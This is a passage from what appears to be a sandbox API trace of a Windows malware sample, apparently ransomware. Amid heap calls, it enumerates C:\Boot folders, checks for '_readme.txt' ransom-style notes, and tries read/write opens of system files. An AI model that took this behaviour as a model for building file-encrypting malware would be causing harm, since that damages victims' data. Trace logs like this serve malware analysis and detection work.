(HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.602] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.602] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.602] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.602] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.602] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.602] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.602] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.602] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.602] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.602] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.602] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.602] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.602] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.602] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.602] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.602] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.603] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.603] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.603] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.603] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.603] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.603] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.603] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.603] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.603] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.603] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.603] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.603] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.603] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.603] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.603] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.603] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.603] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.603] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.603] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.603] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.603] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.603] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.603] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.603] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.603] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.603] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.603] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.603] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.603] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.603] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.603] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.604] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.604] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.604] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.604] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.604] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.604] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.604] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.604] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.604] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.604] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.604] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.604] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.604] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.604] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.604] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.604] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.604] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.604] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.604] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.604] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.604] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.604] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.604] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.604] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.604] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.604] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.604] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.604] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.604] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.604] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.604] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.604] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.605] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.605] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.605] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.605] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.605] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.605] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.605] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.605] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.605] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.605] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.605] PathFindFileNameW (pszPath="C:\\Boot\\zh-HK\\") returned="zh-HK\\" [0122.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.605] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.605] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.605] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.605] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.605] PathFindFileNameW (pszPath="") returned="" [0122.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.605] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.606] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.606] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x800) returned 0x307ad38 [0122.606] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.606] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x810) returned 0x3067040 [0122.606] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.606] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.606] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.606] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.606] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x81c) returned 0x3067040 [0122.606] PathAppendW (in: pszPath="C:\\Boot\\zh-HK\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-HK\\_readme.txt") returned 1 [0122.606] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.606] PathFileExistsW (pszPath="C:\\Boot\\zh-HK\\_readme.txt") returned 1 [0122.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.606] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.607] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13ce0d10, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13ce0d10, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.607] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.607] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13ce0d10, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13ce0d10, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.607] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0122.607] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.607] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.607] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.607] PathFindExtensionW (pszPath="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned=".mui" [0122.607] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.607] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.607] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13ce0d10, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13ce0d10, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13ce0d10, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.607] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.607] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.607] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.607] PathFindExtensionW (pszPath="C:\\Boot\\zh-HK\\_readme.txt") returned=".txt" [0122.607] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.607] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13ce0d10, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13ce0d10, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13ce0d10, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.607] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.607] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.607] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.607] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.607] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.607] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.608] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.608] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.608] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.608] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.608] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.608] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.608] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.608] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.608] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.608] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.608] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.608] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.608] PathFindFileNameW (pszPath="C:\\Boot\\zh-TW\\") returned="zh-TW\\" [0122.608] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.608] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.608] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.608] PathFindFileNameW (pszPath="") returned="" [0122.608] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.608] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.609] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.609] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.609] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.609] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.609] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.609] PathAppendW (in: pszPath="C:\\Boot\\zh-TW\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-TW\\_readme.txt") returned 1 [0122.609] PathFileExistsW (pszPath="C:\\Boot\\zh-TW\\_readme.txt") returned 1 [0122.609] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.609] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13d06e70, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13d06e70, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.609] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.609] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13d06e70, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13d06e70, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.609] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0122.609] PathFindExtensionW (pszPath="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned=".mui" [0122.609] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.609] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdda10 | out: hHeap=0x5b0000) returned 1 [0122.609] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13d06e70, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13d06e70, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13d06e70, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.609] PathFindExtensionW (pszPath="C:\\Boot\\zh-TW\\_readme.txt") returned=".txt" [0122.609] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdda10 | out: hHeap=0x5b0000) returned 1 [0122.610] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13d06e70, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13d06e70, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13d06e70, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.610] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.610] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.610] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.610] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.610] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.610] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.610] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.610] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.610] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.610] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.610] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 